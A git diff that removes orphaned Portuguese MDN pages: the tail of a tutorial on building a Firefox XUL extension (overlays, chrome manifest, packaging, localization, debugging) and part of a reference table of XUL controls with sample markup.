- &lt;statusbar id="<strong>status-bar</strong>"&gt;
- &lt;statusbarpanel id="my-panel" label="Hello, World"/&gt;
- &lt;/statusbar&gt;
-&lt;/overlay&gt;
-</pre>
-<p>A <code>&lt;statusbar&gt;</code> chamada <code><strong>status-bar</strong></code> especifica o "ponto de junção" dentro da janela do navegador a que nós queremos anexar.</p>
-<p>O sub-item de <code>&lt;statusbarpanel&gt;</code> é um novo widget que nós queremos para inserir dentro do ponto de junção.</p>
-<p>Pegue esta amostra de código acima e salve-a em um arquivo chamado <code><strong>sample.xul</strong></code> dentro da pasta <code>chrome/content</code> que você criou.</p>
-<p>Para mais informaçõs sobre junção de widgets e modificação da interface de usuário usando Overlays, veja abaixo.</p>
-<h4 id="URLs_Chrome" name="URLs_Chrome">URLs Chrome</h4>
-<p>Arquivos XUL são parte do "<a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Packages</a>" - pacotes dos componentes da interface de usuário que são carregados via URLs <code>chrome://</code>. Melhor que carregar o navegador pelo disco usando um URL <code>file://</code> (a localização do Firefox no sistema pode mudar de plataforma para plataforma e sistema para sistema), desenvolvedores Mozilla surgiram com uma solução para criar URLs para conteúdo XUL em que a aplicação instalada sabe como fazer.</p>
-<p>A janela do navegador é: <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code>. Tente digitar esta URL na barra de localização do Firefox!</p>
-<p>Chrome URLs consistem em diversos componentes:</p>
-<ul>
- <li>Primeiramente, o <strong>esquema URL</strong> (<code>chrome</code>) que diz à biblioteca de rede do Firefox que isto é um Chrome URL. Isto indica que o conteúdo da URL deve ser manipulado como um (<code>chrome</code>). Compare (<code>chrome</code>) a (<code>http</code>) que diz ao Firefox para tratar a URL como uma página da web.</li>
- <li>Secundariamente, um nome de pacote (no exemplo acima, <code><strong>browser</strong></code>) que indentifica o pacote dos componentes da interface de usuário. Isto deve ser único para sua aplicação sempre que possível para evitar colisões entre extensões.</li>
- <li>Terciariamente, o tipo de dados é requisitado. Existem três tipos: <code>content</code> (XUL, JavaScript, XBL bindings, etc. que formam a estrutura e o comportamento de uma aplicação UI), <code>locale</code> (DTD, arquivos .properties, etc. que contêm strings para as <a href="/pt/Localização" title="pt/Localização">localizações</a> UI), e <code>skin</code> (CSS e imagens que formam o <a href="/pt/Temas" title="pt/Temas">tema</a> da UI)</li>
- <li>Finalmente, o trajeto de um arquivo para carregar.</li>
-</ul>
-<p>Então, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code> carrega o arquivo <code>bar.png</code> do tema de <code>foo</code> na seção <code>skin</code>.</p>
-<p>Quando você carrega conteúdo usando um Chrome URL, Firefox usa o Registro Chrome para traduzir estas URLs no atual arquivo de código no disco (ou em pacotes JAR).</p>
-<h4 id="Criando_um_Manifesto_Chrome" name="Criando_um_Manifesto_Chrome">Criando um Manifesto Chrome</h4>
-<p>Para mais informações sobre Manifestos Chrome e as propriedades que eles suportam, veja a referência <a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Manifest</a>.</p>
-<p>Abra o arquivo chamado <code><strong>chrome.manifest</strong></code> que você criou ao lado do diretório <code>chrome</code> na raiz da pasta de código da sua extensão.</p>
-<p>Adicione este código:</p>
-<pre class="eval">content sample chrome/content/
-</pre>
-<p>(<strong>Não se esqueça da barra, "<code>/</code>"!</strong> Sem ela, a extensão não será registrada.) <span class="comment">Nota: Tenha certeza de ter digitado tudo em letras minúsculas para o nome do pacote ("sample") no Firefox/Thunderbird 1.5 não há suporte à letras maiúsculas. Aparentemente haverá na versão 2.</span></p>
-<p>Isto especifica o:</p>
-<ol>
- <li>tipo do material dentro do pacote chrome</li>
- <li>nome do pacote chrome</li>
- <li>localização dos arquivos do pacote chrome</li>
-</ol>
-<p>Então, esta linha diz que para o pacote chrome <strong>sample</strong>, nós podemos achar estes arquivos <strong>content</strong> (de conteúdo) na localização <code>chrome/content</code> onde está o caminho relativo à localização do <code>chrome.manifest</code>.</p>
-<p>Note que os arquivos de conteúdo, localização e pele precisam estar no interior das pastas chamadas content (conteúdo), locale (localização) e skin (pele) dentro do subdiretório <code>chrome</code>.</p>
-<p>Salve o arquivo. Quando você rodar o Firefox com sua extensão, (depois neste tutorial), isto irá registrar o pacote chrome.</p>
-<h4 id="Registrando_uma_Sobreposi.C3.A7.C3.A3o" name="Registrando_uma_Sobreposi.C3.A7.C3.A3o">Registrando uma Sobreposição</h4>
-<p>Você precisa do Firefox para fundir da sua sobreposição com a janela do navegador sempre que ela for exibida. Então adicione esta linha ao seu arquivo <code>chrome.manifest</code>:</p>
-<pre class="eval">overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
-</pre>
-<p>Isto dirá ao Firefox para fundir <code>sample.xul</code> em <code>browser.xul</code> quando <code>browser.xul</code> for carregado.</p>
-<h4 id="Teste" name="Teste">Teste</h4>
-<p>Primeiro, nós precisamos falar ao Firefox sobre a sua extensão. Nos velhos e maus dias do Firefox 1.0, isto significava empacotar sua extensão como um XPI e instalar através da interface de usuário, na qual havia uma dificuldade real. Agora é muito mais simples.</p>
-<ol>
- <li>Abra sua <a class="external" href="http://kb.mozillazine.org/Profile_folder">Profile Folder</a></li>
- <li>Abra a pasta <strong>extensions</strong> (crie-a se ela não existir)</li>
- <li>Crie um novo arquivo de texto, e coloque o caminho para a pasta da extensão dentro, e.g. <code>C:\extensions\myExtension\</code> ou <code>~/extensions/myExtension</code>. Salve o arquivo com o id da sua extensão como seu nome, e.g. <code><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></code>.</li>
-</ol>
-<p>Agora você está pronto para testar sua extensão!</p>
-<p>Inicie o Firefox. O Firefox irá detectar o link para o diretório da sua extensão e instalará a extensão. Quando a janela do navegador aparecer você poderá ver o texto "Hello, World!" ao lado direito do painel da barra de estado.</p>
-<p>Você pode agora retornar e fazer mudanças no arquivo .xul, fechar e reiniciar o Firefox, e elas aparecerão. <span class="comment">Isto realmente não combina com a extensão descrita e confunde as pessoas. -Nickolay CENTER&gt; Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG &lt;/CENTER</span></p>
-<h4 id="Pacote" name="Pacote">Pacote</h4>
-<p>Agora que sua extensão trabalha, você pode empacotá-la (<a href="/en/Extension_Packaging" title="en/Extension_Packaging">package</a>) para distribuição e instalação.</p>
-<p>Empacote o <strong>conteúdo</strong> da pasta da extensão (não a pasta da extensão), e renomeie o arquivo empacotado para ter uma extensão .xpi. No Windows XP, você pode fazer isto facilmente selecionando todos os arquivos e sub pastas na pasta da sua extensão, com um clique do botão direito e a escolha "Enviar para -&gt; Pasta Comprimida". Um arquivo .zip será criado para você. Somente renomeie-o e pronto!</p>
-<p>No Mac OS X, você pode com um clique do botão direito sobre a pasta da extensão escolher "Criar Arquivo de..." para fazer o arquivo .zip. No entanto, desde que o Mac OS X adiciona arquivos escondidos à pastas para ordenar os metadados do arquivo, você deve em vez disso usar o Terminal, deletar os arquivos escondidos (cujos nomes começam com um período), e então usar o comando <code>zip</code> na linha de comando para criar o arquivo .zip.</p>
-<p>No Linux, você pode do mesmo modo usar a ferramenta Zip pela linha de comando.</p>
-<p>Se você tem a extensão 'Extension Builder' instalada ela pode compilar o arquivo .xpi para você (Ferramentas -&gt; Desenvolvimento de Extensões -&gt; Construtor de Extensões). Meramente navegue até o diretório onde sua extensão está (install.rdf etc.), e clique no botão Construir Extensão. Esta extensão possui várias ferramentas para tornar o desenvolvimento mais fácil.</p>
-<p>Agora atualize o arquivo .xpi no seu servidor, assegurando-se que ele serve como <code>application/x-xpinstall</code>. Você pode ligar para isto e permitir as pessoas baixarem e instalarem-na no Firefox. Para os propósitos de somente testar nosso arquivo .xpi nós podemos apenas arrastá-lo até a janela de extensões via Ferramentas -&gt; Complementos -&gt; Extensões.</p>
-<h5 id="Usando_addons.mozilla.org" name="Usando_addons.mozilla.org">Usando addons.mozilla.org</h5>
-<p>Mozilla Update é um site de distribuição onde você pode hospedar sua extensão de graça. Sua extensão irá ser hospedada na rede de espelho Mozilla para garantir seu download mesmo quando se tornar mais popular. O site Mozilla também proporciona aos usuários uma instalação simples, e colocará automaticamente suas versões mais novas disponíveis para os usuários das suas versões já existentes quando você atualizá-las. Em adição o Mozilla Update permite aos usuários comentar e proporcionar avaliações da sua extensão. Isto é altamente recomendado se você usa o Mozilla Update para distribuir suas extensões!</p>
-<p>Visite <a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a> para criar uma conta e começar a distribuir suas extensões!</p>
-<p><em>Nota:</em> Sua extensão será passada rapidamente e mais baixada, se você tiver uma boa descrição e algumas fotos da extensão em ação.</p>
-<h5 id="Registrando_Extens.C3.B5es_no_Registro_do_Windows" name="Registrando_Extens.C3.B5es_no_Registro_do_Windows">Registrando Extensões no Registro do Windows</h5>
-<p>No Windows, informação sobre extensões pode ser adicionada ao registro, e as extensões serão automaticamente "colhidas" na próxima vez que a aplicação iniciar. Isto permite que os instaladores de aplicação adicionem facilmente os ganchos de integração como extensões. Veja <a href="/en/Adding_Extensions_using_the_Windows_Registry" title="en/Adding_Extensions_using_the_Windows_Registry">Adding Extensions using the Windows Registry</a> para mais informações.</p>
-<h4 id="Mais_sobre_Sobreposi.C3.A7.C3.B5es_XUL" name="Mais_sobre_Sobreposi.C3.A7.C3.B5es_XUL">Mais sobre Sobreposições XUL</h4>
-<p>Além de adicionar widgets UI ao ponto de fusão, você pode usar fragmentos XUL dentro da sobreposição para:</p>
-<ul>
- <li>Modificar atributos no ponto de fusão, e.g. <code>&lt;statusbar id="status-bar" hidden="true"/&gt;</code> (esconde a barra de estado)</li>
- <li>Remove o ponto de fusão do documento mestre, e.g. <code>&lt;statusbar id="status-bar" removeelement="true"/&gt;</code></li>
- <li>Controla a posição das widgets inseridas:</li>
-</ul>
-<pre class="eval">&lt;statusbarpanel position="1" .../&gt;
-
-&lt;statusbarpanel insertbefore="other-id" .../&gt;
-
-&lt;statusbarpanel insertafter="other-id" .../&gt;
-</pre>
-<h4 id="Criando_Novos_Componentes_na_Interface_de_Usu.C3.A1rio" name="Criando_Novos_Componentes_na_Interface_de_Usu.C3.A1rio">Criando Novos Componentes na Interface de Usuário</h4>
-<p>Você pode criar suas próprias janelas e caixas de diálogo em arquivos .xul separados, proporcionar funcionalidades pela implementação de ações de usuário em arquivos .js, usando métodos DOM para manipular widgets UI. Você pode usar regras de estilo em arquivos .css para anexar imagens, configurar cores, etc.</p>
-<p>Veja a documentação <a href="/pt/XUL" title="pt/XUL">XUL</a> para mais recursos para desenvolvedores XUL.</p>
-<h4 id="Arquivos_Padr.C3.A3o" name="Arquivos_Padr.C3.A3o">Arquivos Padrão</h4>
-<p>Arquivos padrão que você usa para escalar um perfil de usuário que deve ser colocado em <code>defaults/</code> sob a raiz da pasta da sua extensão. Preferências padrão em arquivos .js devem ser armazenadas em <code>defaults/preferences/</code> — quando você as coloca aqui elas são automaticamente carregadas pelas preferências do sistema do Firefox quando ele é iniciado, então você pode acessá-las usando o <a href="/en/Preferences_API" title="en/Preferences_API">Preferences API</a>.</p>
-<h4 id="Componentes_XPCOM" name="Componentes_XPCOM">Componentes XPCOM</h4>
-<p>O Firefox suporta componentes <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> nas extensões. Você pode criar seus próprios componentes facilmente em JavaScript ou em C++ (usando o <a href="/en/Gecko_SDK" title="en/Gecko_SDK">Gecko SDK</a>).</p>
-<p>Coloque todos os seus arquivos .js ou .dll no diretório <code>components</code> — eles são automaticamente registrados na primeira vez que o Firefox rodar depois que sua extensão for instalada.</p>
-<p>Para mais informações, veja os livros <a href="/en/How_to_Build_an_XPCOM_Component_in_Javascript" title="en/How_to_Build_an_XPCOM_Component_in_Javascript">How to Build an XPCOM Component in Javascript</a> e <a href="/en/Creating_XPCOM_Components" title="en/Creating_XPCOM_Components">Creating XPCOM Components</a>.</p>
-<h5 id="Aplica.C3.A7.C3.A3o_de_Linha_de_Comando" name="Aplica.C3.A7.C3.A3o_de_Linha_de_Comando">Aplicação de Linha de Comando</h5>
-<p>Um dos possíveis usos dos componentes customizados XPCOM é adicionar um manipulador de linha de comando para o Firefox ou Thunderbird. Você pode usar esta técnica para rodar sua extensão como uma aplicação:</p>
-<pre class="eval"> firefox.exe -myapp
-</pre>
-<p><span class="comment">Devo mover as partes úteis disto para a página Command Line. -Nickolay Isto é feito adicionando um componente que contém a função... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } Esta função roda pelo Firefox cada vez que ele é iniciado. O Firefox registra o myAppHandlerModule's chamando-o 'registerSelf()'. Então isto obtém a fábrica de manipulador myAppHandlerModule's via 'getClassObject()'. A fábrica de manipulador é usada para criar a manipulação usando isto 'createInstance(). Finalmente, a manipulação 'handle(cmdline)' processa a linha de comando cmdline's handleFlagWithParam() e handleFlag().</span> Veja <a href="/en/Chrome/Command_Line" title="en/Chrome/Command_Line">Chrome: Command Line</a> e a <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">discussão no fórum</a> para detalhes (em inglês).</p>
-<h4 id="Localiza.C3.A7.C3.A3o" name="Localiza.C3.A7.C3.A3o">Localização</h4>
-<p>Para suportar mais que uma linguagem, você deve separar as strings do seu conteúdo usando <a href="/en/XUL_Tutorial/Localization" title="en/XUL_Tutorial/Localization">entities</a> e <a href="/en/XUL_Tutorial/Property_Files" title="en/XUL_Tutorial/Property_Files">string bundles</a>. É muito mais fácil fazer isto se você estiver desenvolvendo sua extensão do que retornar fazer isto mais tarde!</p>
-<p>Informação de localização é armazenada no diretório local (locale) da extensão. Por exemplo, para adicionar um local à nossa extensão de amostra, crie um diretório chamado "locale" em chrome (onde o diretório "content está localizado) e adicione a linha seguinte ao arquivo chrome.manifest:</p>
-<pre class="eval">locale sample sampleLocale chrome/locale/
-</pre>
-<p>Para criar valores atributos localizáveis em XUL, você colocar os valores em um arquivo <code>.ent</code> (ou um <code>.dtd</code>), o qual deve ser colocado no diretório locale e ser como este:</p>
-<pre class="eval">&lt;!ENTITY button.label "Click Me!"&gt;
-&lt;!ENTITY button.accesskey "C"&gt;
-</pre>
-<p>E depois incluí-lo no topo do seu documento XUL (mas embaixo de '&lt;?xml version"1.0"?&gt;') assim:</p>
-<pre class="eval">&lt;!DOCTYPE <strong>window</strong> SYSTEM "<a class="external" rel="freelink">chrome://packagename/locale/filename.ent</a>"&gt;
-</pre>
-<p>Onde <code><strong>window</strong></code> é o valor <code><a href="/En/DOM/Node.localName" title="En/DOM/Node.localName">localName</a></code> do elemento raiz do documento XUL, e o valor da propriedade <code>SYSTEM</code> é o chrome URL para o arquivo de entidade. Para a nossa extensão de amostra, o elemento raiz é <code><strong>overlay</strong></code>.</p>
-<p>Para usar as entidades, modifique seu XUL para isto:</p>
-<pre class="eval">&lt;button label="&amp;button.label;" accesskey="&amp;button.accesskey;"/&gt;
-</pre>
-<p>O Registro Chrome assegurará que o arquivo da entidade seja carregado do pacote de localização correspondente ao local selecionado.</p>
-<p>Para strings que você usa no script, crie um arquivo .properties, um arquivo de texto que tem uma string em cada linha, neste formato:</p>
-<pre class="eval">key=value
-</pre>
-<p>e então use as etiquetas <code><a href="/en/nsIStringBundleService" title="en/nsIStringBundleService">en:nsIStringBundleService</a></code>/<code><a href="/en/nsIStringBundle" title="en/nsIStringBundle">en:nsIStringBundle</a></code> ou <code><a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html">&lt;stringbundle&gt;</a></code> para carregar os valores dentro do script.</p>
-<h4 id="Entendendo_o_navegador" name="Entendendo_o_navegador">Entendendo o navegador</h4>
-<p>Use o <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (não é parte da instalação <strong>padrão</strong> do Firefox, você precisa reinstalá-lo pelo caminho da instalação customizada e escolher <strong>Ferramentas de Desenvolvedor</strong> se não houver um item "DOM Inspector" no menu de Ferramentas do seu navegador) para inspecionar a janela do navegador ou qualquer outra janela XUL que você precisar extendê-la.</p>
-<p>Use o botão esquerdo do mouse para achar o nó no topo esquerdo da barra de ferramentas do DOM Inspector, clicando em um nó ele é selecionado e exibe o XUL na janela ao lado. Quando você faz isto a visão da árvore de hierarquia do DOM Inspector irá pular para o nó que você clicou.</p>
-<p>Use o painel do lado direito do DOM Inspector para descobrir pontos de fusão com ids que você pode usar para inserir seus elementos de sobreposição. Se você não pode descobrir um elemento com um id que você pode fundir, você pode necessitar anexar um script em sua sobreposição e inserir seus elementos quando o evento <code>load</code> for exibido na janela mestre XUL.</p>
-<h4 id="Depurando_extens.C3.B5es" name="Depurando_extens.C3.B5es">Depurando extensões</h4>
-<p><strong>Ferramentas Analíticas para Depurar</strong></p>
-<ul>
- <li>O <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> — inspeciona atributos, estrutura DOM, regras no estilo CSS que estão em efeito (e.g. descubra porque suas regras de estilo não aparecem trabalhando por um elemento — uma ferramenta inestimável!)</li>
- <li><a href="/en/Venkman" title="en/Venkman">Venkman</a> — configura pontos de parada em JavaScript e inspeciona pilhas de chamadas.</li>
- <li><code><a href="/En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments/callee" title="En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a>.<a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Function/caller" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/caller">caller</a></code> em JavaScript — acessa a função de pilhas de chamadas.</li>
-</ul>
-<p><strong>Depuração printf</strong></p>
-<ul>
- <li>Rode o Firefox com <code>-console</code> na linha de comando e use <code><a href="/en/DOM/window.dump" title="en/DOM/window.dump">dump</a>("string")</code> (veja o link para detalhes).</li>
- <li>Use <code><a href="/en/nsIConsoleService" title="en/nsIConsoleService">en:nsIConsoleService</a></code> para logar ao console JavaScript.</li>
-</ul>
-<p><strong>Depuração avançada</strong></p>
-<ul>
- <li>Rode uma depuração do Firefox construída e configure pontos de parada no próprio Firefox ou em componentes C++. Para o desenvolvedor com experiência, este é freqüentemente a maneira mais rápida de diagnosticar o problema. Veja <a href="/En/Developer_Guide/Build_Instructions" title="En/Developer_Guide/Build_Instructions">Build Documentation</a> e <a href="/pt/Desenvolvimento_Mozilla" title="pt/Desenvolvimento_Mozilla">Desenvolvimento Mozilla</a> para mais informações.</li>
- <li>Veja <a href="/en/Debugging_a_XULRunner_Application" title="en/Debugging_a_XULRunner_Application">Debugging a XULRunner Application</a> para mais tipos de ajuda.</li>
-</ul>
-<h3 id="Come.C3.A7o_r.C3.A1pido" name="Come.C3.A7o_r.C3.A1pido">Começo rápido</h3>
-<p>Você pode usar a ferramenta online <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> para gerar uma simples extensão para trabalhar junto.</p>
-<p>Um <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">Hello World extension</a> similar ao que você pode gerar com o Extension Wizard é explicado linha por linha em <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">outro tutorial do MozillaZine Knowledge Base</a>.</p>
-<h3 id="Informa.C3.A7.C3.B5es_adicionais" name="Informa.C3.A7.C3.B5es_adicionais">Informações adicionais</h3>
-<ul>
- <li><a href="/pt/FAQ_Extensões" title="pt/FAQ_Extensões">FAQ Extensões</a></li>
- <li><a href="/pt/Extensões" title="pt/Extensões">Extensões</a></li>
-</ul>
diff --git a/files/pt-pt/orphaned/controles_xul/index.html b/files/pt-pt/orphaned/controles_xul/index.html
deleted file mode 100644
index 435c9b65cd..0000000000
--- a/files/pt-pt/orphaned/controles_xul/index.html
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: Controles XUL
-slug: orphaned/Controles_XUL
-tags:
- - PrecisaDeRevisãoEditorial
- - Todas_as_Categorias
- - XUL
-original_slug: Controles_XUL
----
-<p>A tabela a seguir lista todas as interfaces providas pelo XUL. Veja o <a href="/pt/Tutorial_XUL" title="pt/Tutorial_XUL">Tutorial XUL</a> para um guia passo-a-passo de como elas são utilizadas e a <a href="/pt/Referência_XUL" title="pt/Referência_XUL">Referência XUL </a> para uma referência rápida.</p>
-<table> <tbody> <tr> <td><strong>&lt;button&gt;</strong> <p>Um botão que pode ser pressionado pelo usuário.</p> <pre>
-&lt;button label="Save" accesskey="S"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adicionando_Botões" title="pt/XUL_Tutorial/Adicionando_Botões">Mais informações sobre o elemento button</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Referência</a></li> </ul> </td> <td><img alt="Image:Controlsguide-button.png" class=" internal" src="/@api/deki/files/2532/=Controlsguide-button.png"></td> </tr> <tr> <td><strong>&lt;button type="menu"&gt;</strong> <p>A button that has a drop down menu attached to it. Pressing the button opens the menu.</p> <pre>
-&lt;button type="menu" label="View"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="List"/&gt;
- &lt;menuitem label="Details"/&gt;
- &lt;/menupopup&gt;
-&lt;/button&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup">More information about this type of menu button element</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlsguide-button-menu.png"></td> </tr> <tr> <td><strong>&lt;button type="menu-button"&gt;</strong> <p>A button that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.</p> <pre>
-&lt;button type="menu-button" label="New"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="New Document"/&gt;
- &lt;menuitem label="New Image"/&gt;
- &lt;/menupopup&gt;
-&lt;/button&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup">More information about this type of menu button element</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><span class="comment">Image:Controlsguide-button-menubutton.png<br> </span></td> </tr> <tr> <td><strong>&lt;checkbox&gt;</strong> <p>A control that may be turned on and off, typically used to create options which may be enabled or disabled.</p> <pre>
-&lt;checkbox label="Show Toolbar Labels" checked="true"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements" title="pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements">More information about the checkbox element</a>.</li> <li><a href="/pt/XUL/checkbox" title="pt/XUL/checkbox">Checkbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-checkbox.png"></td> </tr> <tr> <td><strong>&lt;colorpicker&gt;</strong> <p>A control that may be used to select a color.</p> <pre>
-&lt;colorpicker color="#FF0000"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/colorpicker" title="pt/XUL/colorpicker">Colorpicker Reference</a></li> </ul> </td> <td><span class="comment">Image:Controlsguide-colorpicker.png</span></td> </tr> <tr> <td><strong>&lt;colorpicker type="button"&gt;</strong> <p>A specialized type of color picker which shows only a button but when pressed, a popup will be displayed to select a color from.</p> <pre>
-&lt;colorpicker type="button" color="#CC0080"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/colorpicker" title="pt/XUL/colorpicker">Colorpicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-colorpicker-button.png"></td> </tr> <tr> <td><strong>&lt;datepicker&gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A set of textboxes which may be used to allow the entry of a date.</p> <pre>
-&lt;datepicker value="2007/03/26"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-datepicker.png"></td> </tr> <tr> <td><strong>&lt;datepicker type="grid"&gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A datepicker which displays a calendar grid for selecting a date.</p> <pre>
-&lt;datepicker type="grid" value="2007/02/20"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-datepicker-grid.png"></td> </tr> <tr> <td><strong>&lt;datepicker type="popup" &gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid.</p> <pre>
-&lt;datepicker type="popup" value="2008/08/24"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;description&gt;</strong> <p>The description element is used to for descriptive text.</p> <pre>
-&lt;description&gt;
- Select a time for the event to start
-&lt;/description&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Description_Element" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Description_Element">More information about the description element</a>.</li> <li><a href="/pt/XUL/description" title="pt/XUL/description">Description Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-description.png"></td> </tr> <tr> <td><strong>&lt;groupbox&gt;</strong> <p>A groupbox displays a labelled box around other user interface controls.</p> <pre>
-&lt;groupbox&gt;
- &lt;caption label="Network"/&gt;
-&lt;/groupbox&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Groupboxes" title="pt/XUL_Tutorial/Groupboxes">More information about the groupbox element</a>.</li> <li><a href="/pt/XUL/groupbox" title="pt/XUL/groupbox">Groupbox Reference</a></li> <li>Related Elements: {{ XULElem("caption") }}</li> </ul> </td> <td><img alt="Image:Controlguide-groupbox.png"></td> </tr> <tr> <td><strong>&lt;image&gt;</strong> <p>An image specified by a URL.</p> <pre>
-&lt;image src="start.png"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Images" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Images">More information about the image element</a>.</li> <li><a href="/pt/XUL/image" title="pt/XUL/image">Image Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-image.png"></td> </tr> <tr> <td><strong>&lt;label&gt;</strong> <p>A label is used to create text which labels a nearby control.</p> <pre>
-&lt;label control="volume" value="Volume:"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Label_Element" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Label_Element">More information about the label element</a>.</li> <li><a href="/pt/XUL/label" title="pt/XUL/label">Label Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-label.png"></td> </tr> <tr> <td><strong>&lt;listbox&gt;</strong> <p>The listbox is used to select an item from a list of labelled items.</p> <pre>
-&lt;listbox&gt;
- &lt;listitem label="Chocolate"/&gt;
- &lt;listitem label="Jelly Beans"/&gt;
-&lt;/listbox&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#List_Boxes" title="pt/XUL_Tutorial/List_Controls#List_Boxes">More information about the listbox element</a>.</li> <li><a href="/pt/XUL/listbox" title="pt/XUL/listbox">Listbox Reference</a></li> <li>Related Elements: {{ XULElem("listcell") }} {{ XULElem("listcols") }} {{ XULElem("listcol") }} {{ XULElem("listhead") }} {{ XULElem("listheader") }} {{ XULElem("listitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-listbox.png"></td> </tr> <tr> <td><strong>&lt;menulist&gt;</strong> <p>A menulist (or combobox) is used to create a control with a drop down to select a value.</p> <pre>
-&lt;menulist&gt;
- &lt;menupopup&gt;
- &lt;menulist label="Lions" value="l"/&gt;
- &lt;menuitem label="Tigers" value="t"/&gt;
- &lt;menuitem label="Bears" value="b"/&gt;
- &lt;/menupopup&gt;
-&lt;/menulist&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#Drop-down_Lists" title="pt/XUL_Tutorial/List_Controls#Drop-down_Lists">More information about the menulist element</a>.</li> <li><a href="/pt/XUL/menulist" title="pt/XUL/menulist">Menulist Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-menulist.png"></td> </tr> <tr> <td><strong>&lt;menulist editable="true"&gt;</strong> <p>An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.</p> <pre>
-&lt;menulist editable="true"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="Elephants" value="Elephants"/&gt;
- &lt;menuitem label="Kangaroos" value="Kangaroos"/&gt;
- &lt;menuitem label="Bats" value="Bats"/&gt;
- &lt;/menupopup&gt;
-&lt;/menulist&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#Editable_menulist" title="pt/XUL_Tutorial/List_Controls#Editable_menulist">More information about the editable menulist element</a>.</li> <li><a href="/pt/XUL/menulist" title="pt/XUL/menulist">Menulist Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-menulist-editable.png"></td> </tr> <tr> <td><strong>&lt;progressmeter&gt;</strong> <p>A progress meter is used to display the progress of a lengthy task.</p> <pre>
-&lt;progressmeter value="40"/&gt;
